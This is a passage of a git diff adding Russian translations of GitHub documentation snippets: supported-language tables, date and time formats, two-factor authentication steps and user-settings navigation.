    npm |{% elsif ghae %}| {% octicon "check" aria-label="The check icon" %} | {% octicon "check" aria-label="The check icon" %} | {% octicon "check" aria-label="The check icon" %}
    npm |{% endif %} diff --git a/translations/ru-RU/data/reusables/supported-languages/php.md b/translations/ru-RU/data/reusables/supported-languages/php.md new file mode 100644 index 000000000000..a6cde8219a6d --- /dev/null +++ b/translations/ru-RU/data/reusables/supported-languages/php.md @@ -0,0 +1 @@ +| PHP {% ifversion fpt or ghec %}| {% octicon "check" aria-label="The check icon" %} | {% octicon "check" aria-label="The check icon" %} | {% octicon "check" aria-label="The check icon" %}1 | {% octicon "check" aria-label="The check icon" %}
    Composer | {% octicon "check" aria-label="The check icon" %}
    Composer | {% octicon "check" aria-label="The check icon" %} | {% octicon "x" aria-label="The X icon" %} |{% elsif ghes %}| {% octicon "check" aria-label="The check icon" %}1 | {% octicon "check" aria-label="The check icon" %}
    Composer | {% octicon "check" aria-label="The check icon" %}
    Composer | {% octicon "check" aria-label="The check icon" %} | {% octicon "x" aria-label="The X icon" %} |{% elsif ghae %}| {% octicon "check" aria-label="The check icon" %}1 | {% octicon "check" aria-label="The check icon" %} | {% octicon "x" aria-label="The X icon" %} |{% endif %} diff --git a/translations/ru-RU/data/reusables/supported-languages/products-table-header.md b/translations/ru-RU/data/reusables/supported-languages/products-table-header.md new file mode 100644 index 000000000000..894b6c6f78ab --- /dev/null +++ b/translations/ru-RU/data/reusables/supported-languages/products-table-header.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 855dcf554f67567fc149ca51ae5cfc7d8cfead62 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148108860" +--- +{% ifversion fpt or ghec %}| [GitHub Copilot](/copilot/overview-of-github-copilot/about-github-copilot#about-github-copilot) | [Навигация по коду](/github/managing-files-in-a-repository/navigating-code-on-github) | [{% data variables.product.prodname_code_scanning_capc %}](/github/finding-security-vulnerabilities-and-errors-in-your-code/about-code-scanning) | [Граф зависимостей, {% data variables.product.prodname_dependabot_alerts %}, {% data variables.product.prodname_dependabot_security_updates %}](/code-security/supply-chain-security/about-the-dependency-graph#supported-package-ecosystems) | [{% data variables.product.prodname_dependabot_version_updates %}](/code-security/supply-chain-security/about-dependabot-version-updates#supported-repositories-and-ecosystems) | [{% data variables.product.prodname_actions %}](/actions/guides/about-continuous-integration#supported-languages) | [| | {% data variables.product.prodname_registry %}](/packages/learn-github-packages/introduction-to-github-packages#supported-clients-and-formats) :-- | :-: | :-: | :-: | :-: | :-: | :-: | :-: | {% elsif ghes %}| [{% data variables.product.prodname_code_scanning_capc %}](/github/finding-security-vulnerabilities-and-errors-in-your-code/about-code-scanning) | [Граф зависимостей, {% data variables.product.prodname_dependabot_alerts %}, {% data variables.product.prodname_dependabot_security_updates %}](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph#supported-package-ecosystems) {% ifversion ghes %}| [{% data variables.product.prodname_dependabot_version_updates %}](/code-security/supply-chain-security/about-dependabot-version-updates#supported-repositories-and-ecosystems){% endif %} | [{% data variables.product.prodname_actions %}](/actions/guides/about-continuous-integration#supported-languages) | [| | {% data variables.product.prodname_registry %}](/packages/learn-github-packages/introduction-to-github-packages#supported-clients-and-formats) :-- | :-: | :-: {% ifversion ghes %}| :-: {% endif %}| :-: | :-: | {% elsif ghae %}| [{% data variables.product.prodname_code_scanning_capc %}](/github/finding-security-vulnerabilities-and-errors-in-your-code/about-code-scanning) | [{% data variables.product.prodname_actions %}](/actions/guides/about-continuous-integration#supported-languages) | [| | {% data variables.product.prodname_registry %}](/packages/learn-github-packages/introduction-to-github-packages#supported-clients-and-formats) :-- | :-: | :-: | :-: | {% endif %} diff --git a/translations/ru-RU/data/reusables/supported-languages/python.md b/translations/ru-RU/data/reusables/supported-languages/python.md new file mode 100644 index 000000000000..d8df9a72bac6 --- /dev/null +++ b/translations/ru-RU/data/reusables/supported-languages/python.md @@ -0,0 +1 @@ +| Python {% ifversion fpt or ghec %}| {% octicon "check" aria-label="The check icon" %} | {% octicon "check" aria-label="The check icon" %}
    precise| {% octicon "check" aria-label="The check icon" %} | {% octicon "check" aria-label="The check icon" %}
    pip | {% octicon "check" aria-label="The check icon" %}
    pip | {% octicon "check" aria-label="The check icon" %} | {% octicon "x" aria-label="The X icon" %} |{% elsif ghes %}| {% octicon "check" aria-label="The check icon" %} | {% octicon "check" aria-label="The check icon" %}
    pip | {% octicon "check" aria-label="The check icon" %}
    pip | {% octicon "check" aria-label="The check icon" %} | {% octicon "x" aria-label="The X icon" %} |{% elsif ghae %}| {% octicon "check" aria-label="The check icon" %} | {% octicon "check" aria-label="The check icon" %} | {% octicon "x" aria-label="The X icon" %} |{% endif %} diff --git a/translations/ru-RU/data/reusables/supported-languages/ruby.md b/translations/ru-RU/data/reusables/supported-languages/ruby.md new file mode 100644 index 000000000000..e606dd7df5b1 --- /dev/null +++ b/translations/ru-RU/data/reusables/supported-languages/ruby.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 7609bd15d8e77a5da778cfb3a4acd21ea7884e46 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148109375" +--- +| Ruby {% ifversion fpt or ghec %}| {% octicon "check" aria-label="The check icon" %} | {% octicon "check" aria-label="The check icon" %} | {% octicon "check" aria-label="The check icon" %} | {% octicon "check" aria-label="The check icon" %}
    RubyGems | {% octicon "check" aria-label="The check icon" %}
    RubyGems | {% octicon "check" aria-label="The check icon" %} | {% octicon "check" aria-label="The check icon" %}
    RubyGems |{% elsif ghes %}| {% octicon "check" aria-label="The check icon" %}1 | {% octicon "check" aria-label="The check icon" %}
    RubyGems | {% octicon "check" aria-label="The check icon" %}
    RubyGems | {% octicon "check" aria-label="The check icon" %} | {% octicon "check" aria-label="The check icon" %}
    RubyGems |{% elsif ghae %}| {% octicon "check" aria-label="The check icon" %}1 | {% octicon "check" aria-label="The check icon" %} | {% octicon "check" aria-label="The check icon" %}
    RubyGems |{% endif %} diff --git a/translations/ru-RU/data/reusables/supported-languages/scala.md b/translations/ru-RU/data/reusables/supported-languages/scala.md new file mode 100644 index 000000000000..4da351ea793f --- /dev/null +++ b/translations/ru-RU/data/reusables/supported-languages/scala.md @@ -0,0 +1 @@ +| Scala {% ifversion fpt or ghec %}| {% octicon "check" aria-label="The check icon" %} | {% octicon "x" aria-label="The X icon" %} | {% octicon "check" aria-label="The check icon" %}1 | {% octicon "check" aria-label="The check icon" %}
    Maven | {% octicon "check" aria-label="The check icon" %}
    Maven, Gradle | {% octicon "check" aria-label="The check icon" %} | {% octicon "x" aria-label="The X icon" %} |{% elsif ghes %}| {% octicon "check" aria-label="The check icon" %}1 | {% octicon "check" aria-label="The check icon" %}
    Maven, Gradle | {% octicon "check" aria-label="The check icon" %}
    Maven, Gradle | {% octicon "check" aria-label="The check icon" %} | {% octicon "x" aria-label="The X icon" %} |{% elsif ghae %}| {% octicon "check" aria-label="The check icon" %}1 | {% octicon "check" aria-label="The check icon" %} | {% octicon "x" aria-label="The X icon" %} |{% endif %} diff --git a/translations/ru-RU/data/reusables/supported-languages/typescript.md b/translations/ru-RU/data/reusables/supported-languages/typescript.md new file mode 100644 index 000000000000..6f7551a55cdf --- /dev/null +++ b/translations/ru-RU/data/reusables/supported-languages/typescript.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 6128eeee4e46b139b78ce717ed3723ba0dbba3ba +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/25/2022 +ms.locfileid: "148109248" +--- +| TypeScript {% ifversion fpt or ghec %}| {% octicon "check" aria-label="The check icon" %} | {% octicon "check" aria-label="The check icon" %} | {% octicon "check" aria-label="The check icon" %} | {% octicon "check" aria-label="The check icon" %}
    npm, Yarn | {% octicon "check" aria-label="The check icon" %}
    npm | {% octicon "check" aria-label="The check icon" %} | {% octicon "check" aria-label="The check icon" %}
    npm |{% elsif ghes %}| {% octicon "check" aria-label="The check icon" %} | {% octicon "check" aria-label="The check icon" %}
    npm, Yarn | {% octicon "check" aria-label="The check icon" %}
    npm | {% octicon "check" aria-label="The check icon" %} | {% octicon "check" aria-label="The check icon" %}
    npm |{% elsif ghae %}| {% octicon "check" aria-label="The check icon" %} | {% octicon "check" aria-label="The check icon" %} | {% octicon "check" aria-label="The check icon" %}
    npm |{% endif %} diff --git a/translations/ru-RU/data/reusables/time_date/date_format.md b/translations/ru-RU/data/reusables/time_date/date_format.md new file mode 100644 index 000000000000..2b20156bb989 --- /dev/null +++ b/translations/ru-RU/data/reusables/time_date/date_format.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 6ff3758774dfe499c542c47a0073b7b21235fbf2 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145139222" +--- +Форматы дат должны соответствовать стандарту [ISO8601](http://en.wikipedia.org/wiki/ISO_8601): `YYYY-MM-DD` (год-месяц-день). diff --git a/translations/ru-RU/data/reusables/time_date/time_format.md b/translations/ru-RU/data/reusables/time_date/time_format.md new file mode 100644 index 000000000000..8d0c332fb343 --- /dev/null +++ b/translations/ru-RU/data/reusables/time_date/time_format.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 4efcbf3a86bc0d1de37133a86fbc762feaf3ed7c +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145134765" +--- +Кроме того, можно добавить дополнительные сведения о времени `THH:MM:SS+00:00` после даты, чтобы выполнить поиск по часам, минутам и секундам. Это `T`, а затем идет `HH:MM:SS` (час, минуты, секунды) и смещение от UTC (`+00:00`). diff --git a/translations/ru-RU/data/reusables/two_fa/2fa_not_supported_with_saml_and_cas.md b/translations/ru-RU/data/reusables/two_fa/2fa_not_supported_with_saml_and_cas.md new file mode 100644 index 000000000000..d813992b4d18 --- /dev/null +++ b/translations/ru-RU/data/reusables/two_fa/2fa_not_supported_with_saml_and_cas.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: b8ac6e97c1d25bae7c1ab7af2b7f18ba4e90c498 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145139817" +--- +Не поддерживается или не управляется на устройстве {% data variables.product.prodname_ghe_server %}, но может поддерживаться внешним поставщиком проверки подлинности. Двухфакторная проверка подлинности в организациях недоступна. diff --git a/translations/ru-RU/data/reusables/two_fa/about-2fa.md b/translations/ru-RU/data/reusables/two_fa/about-2fa.md new file mode 100644 index 000000000000..f5022a6f190d --- /dev/null +++ b/translations/ru-RU/data/reusables/two_fa/about-2fa.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: df1550dc5c5644a6bcbe05a67b1a65a8294f8681 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145137183" +--- +Двухфакторная проверка подлинности — это дополнительный слой обеспечения безопасности, используемый при входе на веб-сайты или в приложения. diff --git a/translations/ru-RU/data/reusables/two_fa/about-recovery-codes.md b/translations/ru-RU/data/reusables/two_fa/about-recovery-codes.md new file mode 100644 index 000000000000..46cde8ba5f13 --- /dev/null +++ b/translations/ru-RU/data/reusables/two_fa/about-recovery-codes.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 9e93bc4d51072ff4d76b036f16f92b5c34509c35 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145115968" +--- +При настройке двухфакторной проверки подлинности вы скачаете и сохраните коды восстановления для двухфакторной проверки подлинности. Если вы потеряете доступ к своему телефону, то сможете пройти проверку подлинности в {% data variables.product.product_name %}, используя коды восстановления. diff --git a/translations/ru-RU/data/reusables/two_fa/after-2fa-add-security-key.md b/translations/ru-RU/data/reusables/two_fa/after-2fa-add-security-key.md new file mode 100644 index 000000000000..05aa58c09198 --- /dev/null +++ b/translations/ru-RU/data/reusables/two_fa/after-2fa-add-security-key.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: c1da48d511a07b94da622dbb617ffe37cac10e34 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145088498" +--- +После настройки двухфакторной проверки подлинности с использованием мобильного приложения одноразовых паролей с ограниченным сроком действия{% ifversion fpt or ghec %} или текстовых сообщений{% endif %} можно добавить ключ безопасности, например считыватель отпечатков пальцев или Windows Hello. Технология, которая обеспечивает проверку подлинности с использованием ключа безопасности, называется WebAuthn. Технология WebAuthn заменила U2F и работает во всех современных браузерах. Дополнительные сведения см. в разделах [WebAuthn](https://webauthn.guide/) и [Можно ли использовать](https://caniuse.com/#search=webauthn). diff --git a/translations/ru-RU/data/reusables/two_fa/auth_methods_2fa.md b/translations/ru-RU/data/reusables/two_fa/auth_methods_2fa.md new file mode 100644 index 000000000000..37591d8cc4e4 --- /dev/null +++ b/translations/ru-RU/data/reusables/two_fa/auth_methods_2fa.md @@ -0,0 +1,18 @@ +--- +ms.openlocfilehash: 005667bae249af732a73e5afc53e7dcd7ae436fe +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145088490" +--- +{% ifversion ghes %} +### Методы проверки подлинности, поддерживающие двухфакторную проверку подлинности + +| Метод проверки подлинности | Описание | Поддержка двухфакторной проверки подлинности | +|-----------------------|--------------|-----------------------------------| +| Встроено | Проверка подлинности выполняется для личных учетных записей, которые хранятся на устройстве {% data variables.product.prodname_ghe_server %}. | Поддерживается и управляется на устройстве {% data variables.product.prodname_ghe_server %}. Администраторам организации может потребоваться включить двухфакторную проверку подлинности для членов организации. |{% ifversion ghes %} +| Встроенная проверка подлинности с использованием поставщика удостоверений| Проверка подлинности выполняется для учетных записей, которые хранятся в поставщике удостоверений. | Зависит от поставщика удостоверений.{% endif %} +| LDAP | Разрешает интеграцию со службой каталогов компании для проверки подлинности. | Поддерживается и управляется на устройстве {% data variables.product.prodname_ghe_server %}. Администраторам организации может потребоваться включить двухфакторную проверку подлинности для членов организации. | +| SAML | Проверка подлинности выполняется с использованием внешнего поставщика удостоверений. | {% data reusables.two_fa.2fa_not_supported_with_saml_and_cas %} | +| Сервер клиентского доступа | Служба единого входа предоставляется внешним сервером. | {% data reusables.two_fa.2fa_not_supported_with_saml_and_cas %}{% endif %} diff --git a/translations/ru-RU/data/reusables/two_fa/enable-two-factor-authentication.md b/translations/ru-RU/data/reusables/two_fa/enable-two-factor-authentication.md new file mode 100644 index 000000000000..7a546e3019b7 --- /dev/null +++ b/translations/ru-RU/data/reusables/two_fa/enable-two-factor-authentication.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 2c087fd3a144fbb5fb7afd789cac11eb8682832a +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145139217" +--- +1. В разделе "Двухфакторная проверка подлинности" нажмите **Включить двухфакторную проверку подлинности**. +![Параметр "Включить двухфакторную проверку подлинности"](/assets/images/help/2fa/enable-two-factor-authentication-dialoge.png) diff --git a/translations/ru-RU/data/reusables/two_fa/save_your_recovery_codes_during_2fa_setup.md b/translations/ru-RU/data/reusables/two_fa/save_your_recovery_codes_during_2fa_setup.md new file mode 100644 index 000000000000..70a3dc197df5 --- /dev/null +++ b/translations/ru-RU/data/reusables/two_fa/save_your_recovery_codes_during_2fa_setup.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: 6291fe3deac6f4b03b60b9b23ee03b168a4a3820 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145134762" +--- +8. В разделе "Сохранение кодов восстановления" нажмите **Скачать**, чтобы скачать коды восстановления на устройство. Сохраните их в безопасном месте, поскольку коды восстановления помогут вам вернуть доступ к учетной записи, если вы его потеряете. + ![Список кодов восстановления для скачивания](/assets/images/help/2fa/2fa_wizard_download_recovery_codes.png) +9. Сохранив двухфакторные коды восстановления, щелкните **Коды восстановления сохранены**, чтобы включить двухфакторную проверку подлинности для своей учетной записи. diff --git a/translations/ru-RU/data/reusables/two_fa/send-invite-to-reinstate-user-before-2fa-is-enabled.md b/translations/ru-RU/data/reusables/two_fa/send-invite-to-reinstate-user-before-2fa-is-enabled.md new file mode 100644 index 000000000000..c0f4e79a1596 --- /dev/null +++ b/translations/ru-RU/data/reusables/two_fa/send-invite-to-reinstate-user-before-2fa-is-enabled.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 6a2f70006097494a9f93b3230108c9a9b359cbe7 +ms.sourcegitcommit: 9a7b3a9ccb983af5df2cd94da7fecf7a8237529b +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: "147878509" +--- +{% ifversion fpt or ghec %} Если пользователь был удален из вашей организации из-за того, что вы потребовали от участников и внешних участников совместной работы включения двухфакторной проверки подлинности, вы можете отправить приглашение для восстановления привилегий пользователя и доступа к организации до того, как он включит двухфакторную проверку подлинности, однако, пользователь должен будет включить двухфакторную проверку подлинности, прежде чем сможет принять ваше приглашение для повторного входа в организацию. +{% endif %} diff --git a/translations/ru-RU/data/reusables/two_fa/show-recovery-codes.md b/translations/ru-RU/data/reusables/two_fa/show-recovery-codes.md new file mode 100644 index 000000000000..553c643bbb89 --- /dev/null +++ b/translations/ru-RU/data/reusables/two_fa/show-recovery-codes.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: 032741566750be6bc8f5baabef25e99ae1c14af5 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145087704" +--- +1. Нажмите **Показать** рядом с параметром "Коды восстановления". +![Кнопка "Показать коды восстановления"](/assets/images/help/2fa/show-recovery-codes-button.png) diff --git a/translations/ru-RU/data/reusables/two_fa/support-may-not-help.md b/translations/ru-RU/data/reusables/two_fa/support-may-not-help.md new file mode 100644 index 000000000000..3f52f821dc67 --- /dev/null +++ b/translations/ru-RU/data/reusables/two_fa/support-may-not-help.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 6ec36a5fcbcd26119fa8bf85514fc1236e23bef9 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145135869" +--- +Из соображений безопасности поддержка {% data variables.product.product_name %} может не позволить восстановить доступ к учетной записи с включенной двухфакторной проверкой подлинности, если вы потеряете учетные данные для двухфакторной проверки подлинности или доступ к настроенным вами способам восстановления учетной записи. diff --git a/translations/ru-RU/data/reusables/two_fa/test_2fa_immediately.md b/translations/ru-RU/data/reusables/two_fa/test_2fa_immediately.md new file mode 100644 index 000000000000..f6fc33f4c5eb --- /dev/null +++ b/translations/ru-RU/data/reusables/two_fa/test_2fa_immediately.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: ea144230f2b9838bf8b929da92f0e03dfe5f3687 +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145140705" +--- +1. После того как вы сохраните коды восстановления и включите двухфакторную проверку подлинности, рекомендуем выйти из учетной записи и заново выполнить вход. В случае проблем, таких как забытый пароль или опечатка в адресе электронной почты, используйте коды восстановления для доступа к своей учетной записи и исправления проблемы. diff --git a/translations/ru-RU/data/reusables/two_fa/username-password.md b/translations/ru-RU/data/reusables/two_fa/username-password.md new file mode 100644 index 000000000000..ac959deb358b --- /dev/null +++ b/translations/ru-RU/data/reusables/two_fa/username-password.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 9b6accbad773f36d2690e08bfa3d8b52497c9c4a +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145140694" +--- +1. Введите имя пользователя и пароль для запроса проверки подлинности. diff --git a/translations/ru-RU/data/reusables/user-settings/about-commit-email-addresses.md b/translations/ru-RU/data/reusables/user-settings/about-commit-email-addresses.md new file mode 100644 index 000000000000..9bbde7b10077 --- /dev/null +++ b/translations/ru-RU/data/reusables/user-settings/about-commit-email-addresses.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 71d3f013789ce9566819b653e7eb61459abc995e +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145140689" +--- +Дополнительные сведения об адресах электронной почты фиксации {% ifversion fpt or ghec %}, включая адрес электронной почты `noreply` для {% data variables.product.product_name %},{% endif %} см. в статье [Настройка адреса электронной почты фиксации](/articles/setting-your-commit-email-address). diff --git a/translations/ru-RU/data/reusables/user-settings/access_applications.md b/translations/ru-RU/data/reusables/user-settings/access_applications.md new file mode 100644 index 000000000000..7c28e1822706 --- /dev/null +++ b/translations/ru-RU/data/reusables/user-settings/access_applications.md @@ -0,0 +1,6 @@ +{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} +1. In the "Integrations" section of the sidebar, click **{% octicon "apps" aria-label="The apps icon" %} Applications**. +{% else %} +1. In the left sidebar, click **Applications**. +![Applications tab](/assets/images/help/settings/settings-applications.png) +{% endif %} diff --git a/translations/ru-RU/data/reusables/user-settings/access_authorized_oauth_apps.md b/translations/ru-RU/data/reusables/user-settings/access_authorized_oauth_apps.md new file mode 100644 index 000000000000..331662f56964 --- /dev/null +++ b/translations/ru-RU/data/reusables/user-settings/access_authorized_oauth_apps.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 28b91d351a96765de2ce7f092d2a7ac2e313c2ab +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145134756" +--- +1. Перейдите на вкладку **Авторизованные приложения OAuth**. ![Вкладка "Авторизованные приложения OAuth"](/assets/images/help/settings/settings-authorized-oauth-apps-tab.png) diff --git a/translations/ru-RU/data/reusables/user-settings/access_org.md b/translations/ru-RU/data/reusables/user-settings/access_org.md new file mode 100644 index 000000000000..fc5164590f7a --- /dev/null +++ b/translations/ru-RU/data/reusables/user-settings/access_org.md @@ -0,0 +1,10 @@ +--- +ms.openlocfilehash: f4583cb5513caa7f01ed5a305daf27c24af3596d +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145134753" +--- +2. Щелкните название своей организации. + ![Название организации в списке организаций](/assets/images/help/organizations/org-settings-link.png) diff --git a/translations/ru-RU/data/reusables/user-settings/access_settings.md b/translations/ru-RU/data/reusables/user-settings/access_settings.md new file mode 100644 index 000000000000..ba583b6c18d8 --- /dev/null +++ b/translations/ru-RU/data/reusables/user-settings/access_settings.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: 314a0768350088c3b197da8e55e631030232b6b1 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145134741" +--- +1. В правом верхнем углу любой страницы щелкните фотографию профиля, а затем выберите **Параметры**. + + ![Значок "Настройки" на панели пользователя](/assets/images/help/settings/userbar-account-settings.png) diff --git a/translations/ru-RU/data/reusables/user-settings/accessibility_settings.md b/translations/ru-RU/data/reusables/user-settings/accessibility_settings.md new file mode 100644 index 000000000000..ccf64e83425a --- /dev/null +++ b/translations/ru-RU/data/reusables/user-settings/accessibility_settings.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 37bb6860bfe88309705547b8264a7fec881622ac +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145134738" +--- +1. На боковой панели слева щелкните **{% octicon "accessibility" aria-label="The accessibility icon" %} Специальные возможности**. diff --git a/translations/ru-RU/data/reusables/user-settings/account_settings.md b/translations/ru-RU/data/reusables/user-settings/account_settings.md new file mode 100644 index 000000000000..6b28a0692891 --- /dev/null +++ b/translations/ru-RU/data/reusables/user-settings/account_settings.md @@ -0,0 +1,6 @@ +{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} +1. In the left sidebar, click **{% octicon "gear" aria-label="The gear icon" %} Account**. +{% else %} +1. In the left sidebar, click **Account**. +![Account settings menu option](/assets/images/help/settings/settings-sidebar-account-settings.png) +{% endif %} diff --git a/translations/ru-RU/data/reusables/user-settings/add_and_verify_email.md b/translations/ru-RU/data/reusables/user-settings/add_and_verify_email.md new file mode 100644 index 000000000000..220a80fe2328 --- /dev/null +++ b/translations/ru-RU/data/reusables/user-settings/add_and_verify_email.md @@ -0,0 +1,5 @@ +{% ifversion not ghae %} +1. In "Add email address", type your email address and click **Add**. + ![Email addition button](/assets/images/help/settings/add-email-address.png){% ifversion fpt or ghec %} +2. [Verify your email address](/articles/verifying-your-email-address).{% endif %} +{% endif %} diff --git a/translations/ru-RU/data/reusables/user-settings/appearance-settings.md b/translations/ru-RU/data/reusables/user-settings/appearance-settings.md new file mode 100644 index 000000000000..d85aea5bd51d --- /dev/null +++ b/translations/ru-RU/data/reusables/user-settings/appearance-settings.md @@ -0,0 +1,7 @@ +{% ifversion fpt or ghec or ghes > 3.4 or ghae > 3.4 %} +1. In the left sidebar, click **{% octicon "paintbrush" aria-label="The paintbrush icon" %} Appearance**. +{% else %} +1. In the user settings sidebar, click **Appearance**. + + !["Appearance" tab in user settings sidebar](/assets/images/help/settings/appearance-tab.png) +{% endif %} diff --git a/translations/ru-RU/data/reusables/user-settings/automatic_watching_box.md b/translations/ru-RU/data/reusables/user-settings/automatic_watching_box.md new file mode 100644 index 000000000000..21047ea28a87 --- /dev/null +++ b/translations/ru-RU/data/reusables/user-settings/automatic_watching_box.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 186f69c820203bcdf81cf2186c69cc0132a819ff +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145109683" +--- +1. В разделе "Автоматическое отслеживание" diff --git a/translations/ru-RU/data/reusables/user-settings/billing_plans.md b/translations/ru-RU/data/reusables/user-settings/billing_plans.md new file mode 100644 index 000000000000..5f6834043275 --- /dev/null +++ b/translations/ru-RU/data/reusables/user-settings/billing_plans.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 4814578cdec953a06ccadf7f44cfdbf9830d6400 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145109680" +--- +1. В разделе "Доступ" боковой панели щелкните **{% octicon "credit-card" aria-label="The credit-card icon" %} Выставление счетов и планы**. diff --git a/translations/ru-RU/data/reusables/user-settings/blocked_users.md b/translations/ru-RU/data/reusables/user-settings/blocked_users.md new file mode 100644 index 000000000000..ce28ff4bc4a0 --- /dev/null +++ b/translations/ru-RU/data/reusables/user-settings/blocked_users.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 5a3ac0750ebb5f43d72c94be5bd87e53d3a35e07 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145109675" +--- +1. В разделе "Доступ" на боковой панели выберите **{% octicon "report" aria-label="The report icon" %} Модерация** и нажмите **Заблокированные пользователи**. diff --git a/translations/ru-RU/data/reusables/user-settings/classic-projects-api-classic-pat-only.md b/translations/ru-RU/data/reusables/user-settings/classic-projects-api-classic-pat-only.md new file mode 100644 index 000000000000..05b53e116074 --- /dev/null +++ b/translations/ru-RU/data/reusables/user-settings/classic-projects-api-classic-pat-only.md @@ -0,0 +1,7 @@ +{% ifversion pat-v2 %} +{% note %} + +The REST API to manage {% data variables.product.prodname_projects_v1 %} only supports authentication using a {% data variables.product.pat_v1 %}. For more information, see "[Creating a {% data variables.product.pat_generic %} ](/authentication/keeping-your-account-and-data-secure/creating-a-personal-access-token)." + +{% endnote %} +{% endif %} diff --git 